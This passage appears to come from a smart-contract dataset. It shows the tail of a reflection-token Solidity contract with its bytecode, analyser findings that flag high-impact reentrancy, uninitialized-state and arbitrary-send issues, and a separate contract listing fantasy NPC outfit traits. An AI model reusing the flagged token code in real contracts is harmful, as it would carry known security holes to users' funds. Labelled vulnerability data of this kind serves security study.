if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd801461049d578063c9567bf9146104b2578063d28d8852146104c7578063d543dbeb146104dc578063dd62ed3e146105065761012a565b80638da5cb5b1461035957806395d89b411461038a578063a9059cbb1461039f578063b09f1266146103d8578063b515566a146103ed5761012a565b8063313ce567116100e7578063313ce567146102a55780635932ead1146102d05780636fc3eaec146102fc57806370a0823114610311578063715018a6146103445761012a565b806306fdde031461012f578063095ea7b3146101b957806318160ddd1461020657806323b872dd1461022d578063273123b7146102705761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610541565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017e578181015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c557600080fd5b506101f2600480360360408110156101dc57600080fd5b506001600160a01b03813516906020013561056b565b604080519115158252519081900360200190f35b34801561021257600080fd5b5061021b610589565b60408051918252519081900360200190f35b34801561023957600080fd5b506101f26004803603606081101561025057600080fd5b506001600160a01b03813581169160208101359091169060400135610596565b34801561027c57600080fd5b506102a36004803603602081101561029357600080fd5b50356001600160a01b031661061d565b005b3480156102b157600080fd5b506102ba610696565b6040805160ff9092168252519081900360200190f35b3480156102dc57600080fd5b506102a3600480360360208110156102f357600080fd5b5035151561069b565b34801561030857600080fd5b506102a3610711565b34801561031d57600080fd5b5061021b6004803603602081101561033457600080fd5b50356001600160a01b0316610745565b34801561035057600080fd5b506102a36107af565b34801561036557600080fd5b5061036e610851565b604080516001600160a01b039092168252519081900360200190f35b34801561039657600080fd5b50610144610860565b3480156103ab57600080fd5b506101f2600480360360408110156103c257600080fd5b506001600160a01b03813516906020013561087f565b3480156103e457600080fd5b50610144610893565b3480156103f957600080fd5b506102a36004803603602081101561041057600080fd5b81019060208101813564010000000081111561042b57600080fd5b82018360208201111561043d57600080fd5b8035906020019184602083028401116401000000008311171561045f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108b4945050505050565b3480156104a957600080fd5b506102a3610968565b3480156104be57600080fd5b506102a36109a5565b3480156104d357600080fd5b50610144610d8d565b3480156104e857600080fd5b506102a3600480360360208110156104ff57600080fd5b5035610db9565b34801561051257600080fd5b5061021b6004803603604081101561052957600080fd5b506001600160a01b0381358116916020013516610ebe565b60408051808201909152601081526f4241425920535550455220484541565960801b602082015290565b600061057f610578610ee9565b8484610eed565b5060015b92915050565b683635c9adc5dea0000090565b60006105a3848484610fd9565b610613846105af610ee9565b61060e85604051806060016040528060288152602001612060602891396001600160a01b038a166000908152600460205260408120906105ed610ee9565b6001600160a01b0316815260208101919091526040016000205491906113bf565b610eed565b5060019392505050565b610625610ee9565b6000546001600160a01b03908116911614610675576040805162461bcd60e51b81526020600482018190526024820152600080516020612088833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b6106a3610ee9565b6000546001600160a01b039081169116146106f3576040805162461bcd60e51b81526020600482018190526024820152600080516020612088833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b0316610725610ee9565b6001600160a01b03161461073857600080fd5b4761074281611456565b50565b6001600160a01b03811660009081526006602052604081205460ff161561078557506001600160a01b0381166000908152600360205260409020546107aa565b6001600160a01b0382166000908152600260205260409020546107a7906114db565b90505b919050565b6107b7610ee9565b6000546001600160a01b03908116911614610807576040805162461bcd60e51b81526020600482018190526024820152600080516020612088833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526005815264424541565960d81b602082015290565b600061057f61088c610ee9565b8484610fd9565b60405180604001604052806005815260200164424541565960d81b81525081565b6108bc610ee9565b6000546001600160a01b0390811691161461090c576040805162461bcd60e51b81526020600482018190526024820152600080516020612088833981519152604482015290519081900360640190fd5b60005b81518110156109645760016007600084848151811061092a57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905560010161090f565b5050565b6010546001600160a01b031661097c610ee9565b6001600160a01b03161461098f57600080fd5b600061099a30610745565b90506107428161153b565b6109ad610ee9565b6000546001600160a01b039081169116146109fd576040805162461bcd60e51b81526020600482018190526024820152600080516020612088833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a5c576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610aa59030906001600160a01b0316683635c9adc5dea00000610eed565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ade57600080fd5b505afa158015610af2573d6000803e3d6000fd5b505050506040513d6020811015610b0857600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610b5857600080fd5b505afa158015610b6c573d6000803e3d6000fd5b505050506040513d6020811015610b8257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610bd457600080fd5b505af1158015610be8573d6000803e3d6000fd5b505050506040513d6020811015610bfe57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610c3081610745565b600080610c3b610851565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610ca657600080fd5b505af1158015610cba573d6000803e3d6000fd5b50505050506040513d6060811015610cd157600080fd5b505060138054683635c9adc5dea0000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d5e57600080fd5b505af1158015610d72573d6000803e3d6000fd5b505050506040513d6020811015610d8857600080fd5b505050565b6040518060400160405280601081526020016f4241425920535550455220484541565960801b81525081565b610dc1610ee9565b6000546001600160a01b03908116911614610e11576040805162461bcd60e51b81526020600482018190526024820152600080516020612088833981519152604482015290519081900360640190fd5b60008111610e66576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610e846064610e7e683635c9adc5dea0000084611709565b90611762565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610f325760405162461bcd60e51b81526004018080602001828103825260248152602001806120f66024913960400191505060405180910390fd5b6001600160a01b038216610f775760405162461bcd60e51b815260040180806020018281038252602281526020018061201d6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661101e5760405162461bcd60e51b81526004018080602001828103825260258152602001806120d16025913960400191505060405180910390fd5b6001600160a01b0382166110635760405162461bcd60e51b8152600401808060200182810382526023815260200180611fd06023913960400191505060405180910390fd5b600081116110a25760405162461bcd60e51b81526004018080602001828103825260298152602001806120a86029913960400191505060405180910390fd5b6110aa610851565b6001600160a01b0316836001600160a01b0316141580156110e457506110ce610851565b6001600160a01b0316826001600160a01b031614155b1561136257601354600160b81b900460ff16156111de576001600160a01b038316301480159061111d57506001600160a01b0382163014155b801561113757506012546001600160a01b03848116911614155b801561115157506012546001600160a01b03838116911614155b156111de576012546001600160a01b031661116a610ee9565b6001600160a01b0316148061119957506013546001600160a01b031661118e610ee9565b6001600160a01b0316145b6111de576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b6001600160a01b0383163014611248576014548111156111fd57600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561123f57506001600160a01b03821660009081526007602052604090205460ff16155b61124857600080fd5b6013546001600160a01b03848116911614801561127357506012546001600160a01b03838116911614155b801561129857506001600160a01b03821660009081526005602052604090205460ff16155b80156112ad5750601354600160b81b900460ff165b156112f5576001600160a01b03821660009081526008602052604090205442116112d657600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061130030610745565b601354909150600160a81b900460ff1615801561132b57506013546001600160a01b03858116911614155b80156113405750601354600160b01b900460ff165b156113605761134e8161153b565b47801561135e5761135e47611456565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806113a457506001600160a01b03831660009081526005602052604090205460ff165b156113ad575060005b6113b9848484846117a4565b50505050565b6000818484111561144e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114135781810151838201526020016113fb565b50505050905090810190601f1680156114405780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc611470836002611762565b6040518115909202916000818181858888f19350505050158015611498573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114b3836002611762565b6040518115909202916000818181858888f19350505050158015610964573d6000803e3d6000fd5b6000600a5482111561151e5760405162461bcd60e51b815260040180806020018281038252602a815260200180611ff3602a913960400191505060405180910390fd5b60006115286118c0565b90506115348382611762565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061157c57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115d057600080fd5b505afa1580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b505181518290600190811061160b57fe5b6001600160a01b0392831660209182029290920101526012546116319130911684610eed565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156116b757818101518382015260200161169f565b505050509050019650505050505050600060405180830381600087803b1580156116e057600080fd5b505af11580156116f4573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261171857506000610583565b8282028284828161172557fe5b04146115345760405162461bcd60e51b815260040180806020018281038252602181526020018061203f6021913960400191505060405180910390fd5b600061153483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118e3565b806117b1576117b1611948565b6001600160a01b03841660009081526006602052604090205460ff1680156117f257506001600160a01b03831660009081526006602052604090205460ff16155b156118075761180284848461197a565b6118b3565b6001600160a01b03841660009081526006602052604090205460ff1615801561184857506001600160a01b03831660009081526006602052604090205460ff165b1561185857611802848484611a9e565b6001600160a01b03841660009081526006602052604090205460ff16801561189857506001600160a01b03831660009081526006602052604090205460ff165b156118a857611802848484611b47565b6118b3848484611bba565b806113b9576113b9611bfe565b60008060006118cd611c0c565b90925090506118dc8282611762565b9250505090565b600081836119325760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114135781810151838201526020016113fb565b50600083858161193e57fe5b0495945050505050565b600c541580156119585750600d54155b1561196257611978565b600c8054600e55600d8054600f55600091829055555b565b60008060008060008061198c87611d8b565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119be9088611de8565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119ed9087611de8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a1c9086611e2a565b6001600160a01b038916600090815260026020526040902055611a3e81611e84565b611a488483611f0c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611ab087611d8b565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611ae29087611de8565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611b189084611e2a565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611a1c9086611e2a565b600080600080600080611b5987611d8b565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611b8b9088611de8565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611ae29087611de8565b600080600080600080611bcc87611d8b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119ed9087611de8565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611d4b57826002600060098481548110611c3c57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611ca15750816003600060098481548110611c7a57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611cbf57600a54683635c9adc5dea0000094509450505050611d87565b611cff6002600060098481548110611cd357fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611de8565b9250611d416003600060098481548110611d1557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611de8565b9150600101611c20565b50600a54611d6290683635c9adc5dea00000611762565b821015611d8157600a54683635c9adc5dea00000935093505050611d87565b90925090505b9091565b6000806000806000806000806000611da88a600c54600d54611f30565b9250925092506000611db86118c0565b90506000806000611dcb8e878787611f7f565b919e509c509a509598509396509194505050505091939550919395565b600061153483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113bf565b600082820183811015611534576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611e8e6118c0565b90506000611e9c8383611709565b30600090815260026020526040902054909150611eb99082611e2a565b3060009081526002602090815260408083209390935560069052205460ff1615610d885730600090815260036020526040902054611ef79084611e2a565b30600090815260036020526040902055505050565b600a54611f199083611de8565b600a55600b54611f299082611e2a565b600b555050565b6000808080611f446064610e7e8989611709565b90506000611f576064610e7e8a89611709565b90506000611f6f82611f698b86611de8565b90611de8565b9992985090965090945050505050565b6000808080611f8e8886611709565b90506000611f9c8887611709565b90506000611faa8888611709565b90506000611fbc82611f698686611de8565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e4b6249ab9830d5b74e1322775a896e67eafb61e9676aa75d01c2a36ea91b99e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,733 |
0xAd93efBe62b636d361d764643FAd66C7FBdC08c4
|
// SPDX-License-Identifier: GPL-2.0
/**
* "The traits listed in quotation marks under the header contract AttrOutfit are licensed
* under the Creative Commons Attribution 4.0 International License (“CC 4.0”). To view a copy
of this license, visit http://creativecommons.org/licenses/by/4.0/ or send a letter to Creative Commons,
* PO Box 1866, Mountain View, CA 94042, USA. For avoidance of doubt, combinations of such traits
* generated by the smart contract that references this smart contract are also licensed
* under CC 4.0. For purposes of attribution, the creator of these traits is
* the NPC Genesis Project (designed by Josh Garcia and Diana Stern)."
*/pragma solidity ^0.8.0;
interface TraitDB {
function viewTrait(uint256 _id) external view returns (string memory);
function totalTraits() external view returns (uint256);
}
contract AttrOutfit is TraitDB {
string[] outfit = [
"Cloth robe"
, "Simple dress"
, "Linen dress"
, "Rags"
, "Burlap sack"
, "Sleeveless tunic"
, "Simple kaftan"
, "Simple toga"
, "Dirndl"
, "Ratty blanket"
, "Checkered shirt"
, "Overalls"
, "Simple vest"
, "Motley coat"
, "Boots of Blistering"
, "Heels"
, "Studded leather epaulets"
, "Suspenders"
, "Cloak of Visibility"
, "Buttonless vest"
, "Magically suspended pants"
, "Cap of mortality"
, "Wool shoes"
, "Linen shoes"
, "Shoes"
, "Sash"
, "Gloves"
, "Wool Gloves"
, "Linen Gloves"
, "Leather Belt"
, "Wool Sash"
, "Linen Sash"
, "Studded Leather Boots"
, "Hard Leather Boots"
, "Leather Boots"
, "Leather Gloves"
, "Studded Leather Gloves"
, "Hard Leather Gloves"
, "Studded Leather Belt"
, "Hard Leather Belt"
, "Greaves"
, "Gauntlets"
, "Hood"
, "Linen hood"
, "Cap"
, "Leather cap"
, "Helm"
, "Someone's favorite slippers"
, "Sunproof Goggles of Blinding"
, "Waterproof Goggles of Clarity"
, "Buff jerkin"
, "Corset"
, "Ruffs"
, "Doublet"
, "Breeches"
, "Petticoat"
, "Low quality shirt"
, "Low quality hat"
, "Low quality slacks"
, "Low quality dress"
, "Low quality heels"
, "Low quality scarf"
, "Low quality necklace"
, "Low quality pendant"
, "Low quality earrings"
, "Homespun shirt"
, "Homespun hat"
, "Homespun slacks"
, "Homespun dress"
, "Homespun heels"
, "Homespun scarf"
, "Hardly worth noticing shirt"
, "Hardly worth noticing hat"
, "Hardly worth noticing slacks"
, "Hardly worth noticing dress"
, "Hardly worth noticing heels"
, "Hardly worth noticing scarf"
, "Hardly worth noticing necklace"
, "Hardly worth noticing pendant"
, "Hardly worth noticing earrings"
, "Boring old shirt"
, "Boring old hat"
, "Boring old slacks"
, "Boring old dress"
, "Boring old heels"
, "Boring old scarf"
, "Boring old necklace"
, "Boring old pendant"
, "Boring old earrings"
, "Very inexpensive shirt"
, "Very inexpensive hat"
, "Very inexpensive slacks"
, "Very inexpensive dress"
, "Very inexpensive heels"
, "Very inexpensive scarf"
, "Very inexpensive necklace"
, "Very inexpensive pendant"
, "Very inexpensive earrings"
, "Boots of Walking"
, "Antislip Slippers"
, "Pink dress"
, "Black coat"
, "Pleated dress"
, "Velvet vest "
, "Cloak"
, "Cape"
, "Quilted armor"
, "Leather armor"
, "Hard leather armor"
, "Studded leather armor"
, "Woolen trousers"
, "Frock"
, "Bedsheets"
, "Leash"
, "Copper collar"
, "Tilted hat"
, "Headband of Hairstyle"
, "Wizard robes"
, "Studded robes"
, "Farseeing glasses"
, "Floating cloak"
, "War cap"
, "False crown"
, "Silk hood"
, "Full helm"
, "Silk sash"
, "Silk slippers"
, "Silk gloves"
, "Bright Silk sash"
, "Ornate belt"
, "War belt"
, "Plated belt"
, "Mesh belt"
, "Heavy belt"
, "Ornate gauntlets"
, "Ornate greaves"
, "Chain boots"
, "Heavy boots"
, "Chain gloves"
, "Heavy gloves"
, "Wedding dress"
, "Red wedding dress"
, "Mother's shirt"
, "Mother's hat"
, "Mother's slacks"
, "Mother's dress"
, "Mother's heels"
, "Mother's scarf"
, "Mother's necklace"
, "Mother's pendant"
, "Mother's earrings"
, "Unremarkable shirt"
, "Unremarkable hat"
, "Unremarkable slacks"
, "Unremarkable dress"
, "Unremarkable heels"
, "Unremarkable scarf"
, "Unremarkable necklace"
, "Unremarkable pendant"
, "Unremarkable earrings"
, "Pedestrian shirt"
, "Pedestrian hat"
, "Pedestrian slacks"
, "Pedestrian dress"
, "Pedestrian heels"
, "Pedestrian scarf"
, "Pedestrian necklace"
, "Pedestrian pendant"
, "Pedestrian earrings"
, "Anodyne shirt"
, "Anodyne hat"
, "Anodyne slacks"
, "Anodyne dress"
, "Anodyne heels"
, "Anodyne scarf"
, "Anodyne necklace"
, "Anodyne pendant"
, "Anodyne earrings"
, "Lover's shirt"
, "Lover's hat"
, "Lover's slacks"
, "Lover's gloves"
, "Lover's shoes"
, "Lover's ascot"
, "Lover's bracelet"
, "Lover's charm"
, "Lover's ring"
, "Enchanter's glowing shirt"
, "Enchanter's glowing hat"
, "Enchanter's glowing slacks"
, "Enchanter's glowing gloves"
, "Enchanter's glowing shoes"
, "Enchanter's glowing ascot"
, "Enchanter's glowing bracelet"
, "Enchanter's glowing charm"
, "Enchanter's glowing ring"
, "Futuristic shirt"
, "Futuristic hat"
, "Futuristic slacks"
, "Futuristic gloves"
, "Futuristic shoes"
, "Futuristic ascot"
, "Futuristic bracelet"
, "Futuristic charm"
, "Futuristic ring"
, "Time-slowing shirt"
, "Time-slowing hat"
, "Time-slowing slacks"
, "Time-slowing gloves"
, "Time-slowing shoes"
, "Time-slowing ascot"
, "Time-slowing bracelet"
, "Time-slowing charm"
, "Time-slowing ring"
, "Extrovert's elegant shirt"
, "Extrovert's elegant hat"
, "Extrovert's elegant slacks"
, "Extrovert's elegant gloves"
, "Extrovert's elegant shoes"
, "Extrovert's elegant ascot"
, "Extrovert's elegant bracelet"
, "Extrovert's elegant charm"
, "Extrovert's elegant ring"
, "Nostalgia shirt"
, "Nostalgia hat"
, "Nostalgia slacks"
, "Nostalgia gloves"
, "Nostalgia shoes"
, "Nostalgia ascot"
, "Nostalgia bracelet"
, "Nostalgia charm"
, "Nostalgia ring"
, "Humanskin belt"
, "Dungmail"
, "Claymail"
, "Monk robes"
, "Silk robe"
, "Silk dress"
, "Loincloth"
, "Decorative sash"
, "Chainmail "
, "Bear pelt cloak"
, "Cuirass"
, "Ringmail"
, "Breastplate"
, "Platemail"
, "Sable fur"
, "Seven league boots"
, "Fishnet"
, "Banana leaves"
, "Paint"
, "Stole"
, "Cowl"
, "Cassock"
, "Dogshide"
, "Security blanket"
, "Iron collar"
, "Bronze collar"
, "Fancy vest"
, "Asymmetrical dress"
, "Double-breasted jacket"
, "Weightless, invisible cloak"
, "Monocle"
, "Angelic timepiece"
, "Angelic brooch"
, "Angelic lost shirt"
, "Angelic hot pants"
, "Angelic dirty robe"
, "Angelic pointed loafers"
, "Angelic stylish ascot"
, "Angelic circlet"
, "Angelic earrings"
, "Favorite timepiece"
, "Favorite brooch"
, "Favorite lost shirt"
, "Favorite hot pants"
, "Favorite dirty robe"
, "Favorite pointed loafers"
, "Favorite stylish ascot"
, "Favorite circlet"
, "Favorite earrings"
, "Demonic timepiece"
, "Demonic brooch"
, "Demonic lost shirt"
, "Demonic hot pants"
, "Demonic dirty robe"
, "Demonic pointed loafers"
, "Demonic stylish ascot"
, "Demonic circlet"
, "Demonic earrings"
, "False Prince's timepiece"
, "False Prince's brooch"
, "False Prince's lost shirt"
, "False Prince's hot pants"
, "False Prince's dirty robe"
, "False Prince's pointed loafers"
, "False Prince's stylish ascot"
, "False Prince's circlet"
, "False Prince's earrings"
, "Enchanted timepiece"
, "Enchanted brooch"
, "Enchanted lost shirt"
, "Enchanted hot pants"
, "Enchanted dirty robe"
, "Enchanted pointed loafers"
, "Enchanted stylish ascot"
, "Enchanted circlet"
, "Enchanted earrings"
, "Fake royal timepiece"
, "Fake royal brooch"
, "Fake royal circlet"
, "Fake royal earrings"
, "Time Defender's timepiece"
, "Time Defender's brooch"
, "Time Defender's lost shirt"
, "Time Defender's hot pants"
, "Time Defender's dirty robe"
, "Time Defender's pointed loafers"
, "Time Defender's stylish ascot"
, "Time Defender's circlet"
, "Time Defender's earrings"
, "Magic-reflecting shirt"
, "Magic-reflecting hat"
, "Magic-reflecting slacks"
, "Magic-reflecting gloves"
, "Magic-reflecting shoes"
, "Magic-reflecting ascot"
, "Magic-reflecting bracelet"
, "Magic-reflecting charm"
, "Magic-reflecting ring"
, "Introvert's understated shirt"
, "Introvert's understated hat"
, "Introvert's understated slacks"
, "Introvert's understated gloves"
, "Introvert's understated shoes"
, "Introvert's understated ascot"
, "Introvert's understated bracelet"
, "Introvert's understated charm"
, "Introvert's understated ring"
, "Harm-reducing shirt"
, "Harm-reducing hat"
, "Harm-reducing slacks"
, "Harm-reducing gloves"
, "Harm-reducing shoes"
, "Harm-reducing ascot"
, "Harm-reducing bracelet"
, "Harm-reducing charm"
, "Harm-reducing ring"
, "Silk ball gown"
, "Purple toga"
, "Plate armor"
, "Iron filigree"
, "Bearskin"
, "Wolfskin"
, "Mink coat"
, "Snakeskin"
, "Alligator skin"
, "Raven's feathers"
, "Tarantula hair gloves"
, "Winged boots"
, "Gown of Lounging"
, "Ice armor"
, "Hairshirt"
, "Pallium"
, "Chasuble"
, "Omophorion"
, "Maniple"
, "Cope"
, "Studded ruby collar"
, "Emerald collar"
, "Torn liturgical vestment"
, "Royal guard's armor"
, "Dragonbone armor"
, "Dragonskin armor"
, "Divine slippers"
, "Divine gloves"
, "Demonhide belt"
, "Dragonskin belt"
, "Demon's hands"
, "Dragonskin gloves"
, "Demonhide boots"
, "Dragonskin boots"
, "Holy greaves"
, "Holy gauntlets"
, "Demon crown"
, "Dragon's crown"
, "Ancient helm"
, "Ornate helm"
, "Great helm"
, "Naked"
, "Royal dress"
, "Dragonhide"
, "Royal robe"
, "Virgin's blood"
, "Bees"
, "Iron maiden"
, "Fairy-spun ball gown"
, "Edible cloth"
, "Werewolfhide vest"
, "Worms"
, "Dragonflies"
, "Armor of Achilles (impenetrable)"
, "Mithril chainmail"
, "Tree bark"
, "Paper Armor"
, "Speedo"
, "Ectoplasm"
, "Nanobots"
, "Giant banana peel"
, "Hardened confectionery "
, "Jorts"
, "Goldplate"
, "Breadsuit"
, "Glitter"
, "Alaia"
, "Diamond collar"
, "Icemail"
, "Flamemail"
, "Barbed wire"
, "Bubbles"
, "Emperor's old clothes"
, "Necklace of ears"
, "Necklace of teeth"
, "Armor of Beowulf"
, unicode"Armor of Örvar-Oddr (impenetrable silken mailcoat)"
, "Babr-e Bayan (invulnerable to fire, water, and weapons)"
, "Fafnir's Golden Coat of Chainmail"
, "Green Armor"
, "Kavacha"
, "Armor of Diomedes"
, "Van Herpen's Sculptural Couture"
, "Threads of Cucinelli"
, "Christian's Redbottom Heels"
, "Coco's Admired Tweed Jacket"
, "Coco's Envy-Inducing Shorts"
, "Ralph's Collared Shirt"
, "Calvin's Briefs"
, "Donatella's Dress of the Jungle"
, "Sandwiches and string"
, "Yoichi's Oversized Greatcoat"
, "Armor of D&G Belt Buckles"
, "Schiaparelli's Speakeasy Dress"
, "Diane's Wrap Dress"
, "Marc's Flowered Dress and Combat Boots"
, "Alexander's Scarf of Skulls"
, "Fuligin cloak"
, "Great Bard's Keyless Belt of Chastity"
, "Great Bard's Oystered Brooch"
, "Great Bard's Forked Thong"
, "Great Bard's False Crown"
, "Great Bard's Pufferfish Pendant"
, "Great Bard's Fur"
, "Great Bard's Karmic Bracelet"
, "Great Bard's Calamitous Robe"
, "Great Bard's Slippery Slippers"
, "Shim's Keyless Belt of Chastity"
, "Shim's Oystered Brooch"
, "Shim's Forked Thong"
, "Shim's False Crown"
, "Shim's Pufferfish Pendant"
, "Shim's Fur"
, "Shim's Karmic Bracelet"
, "Shim's Calamitous Robe"
, "Shim's Slippery Slippers"
, "Weeping One's Keyless Belt of Chastity"
, "Weeping One's Oystered Brooch"
, "Weeping One's Forked Thong"
, "Weeping One's False Crown"
, "Weeping One's Pufferfish Pendant"
, "Weeping One's Fur"
, "Weeping One's Karmic Bracelet"
, "Weeping One's Calamitous Robe"
, "Weeping One's Slippery Slippers"
, "Shapeshifter's Keyless Belt of Chastity"
, "Shapeshifter's Oystered Brooch"
, "Shapeshifter's Forked Thong"
, "Shapeshifter's False Crown"
, "Shapeshifter's Pufferfish Pendant"
, "Shapeshifter's Fur"
, "Shapeshifter's Karmic Bracelet"
, "Shapeshifter's Calamitous Robe"
, "Shapeshifter's Slippery Slippers"
, "Moongazer's Keyless Belt of Chastity"
, "Moongazer's Oystered Brooch"
, "Moongazer's Forked Thong"
, "Moongazer's False Crown"
, "Moongazer's Pufferfish Pendant"
, "Moongazer's Fur"
, "Moongazer's Karmic Bracelet"
, "Moongazer's Calamitous Robe"
, "Moongazer's Slippery Slippers"
, "Tiny's Keyless Belt of Chastity"
, "Tiny's Oystered Brooch"
, "Tiny's Forked Thong"
, "Tiny's False Crown"
, "Tiny's Pufferfish Pendant"
, "Tiny's Fur"
, "Tiny's Karmic Bracelet"
, "Tiny's Calamitous Robe"
, "Tiny's Slippery Slippers"
, "Bigg's Keyless Belt of Chastity"
, "Bigg's Oystered Brooch"
, "Bigg's Forked Thong"
, "Bigg's False Crown"
, "Bigg's Pufferfish Pendant"
, "Bigg's Fur"
, "Bigg's Karmic Bracelet"
, "Bigg's Calamitous Robe"
, "Bigg's Slippery Slippers"
, "Coconut's Keyless Belt of Chastity"
, "Coconut's Oystered Brooch"
, "Coconut's Forked Thong"
, "Coconut's False Crown"
, "Coconut's Pufferfish Pendant"
, "Coconut's Fur"
, "Coconut's Karmic Bracelet"
, "Coconut's Calamitous Robe"
, "Coconut's Slippery Slippers"
, "The Demi-God's Keyless Belt of Chastity"
, "The Demi-God's Oystered Brooch"
, "The Demi-God's Forked Thong"
, "The Demi-God's False Crown"
, "The Demi-God's Pufferfish Pendant"
, "The Demi-God's Fur"
, "The Demi-God's Karmic Bracelet"
, "The Demi-God's Calamitous Robe"
, "The Demi-God's Slippery Slippers"
, "Radegast's Hat"
];
function viewTrait(uint256 _id) external override view returns (string memory) {
return outfit[_id];
}
function totalTraits() external override view returns (uint256) {
return outfit.length;
}
}
|
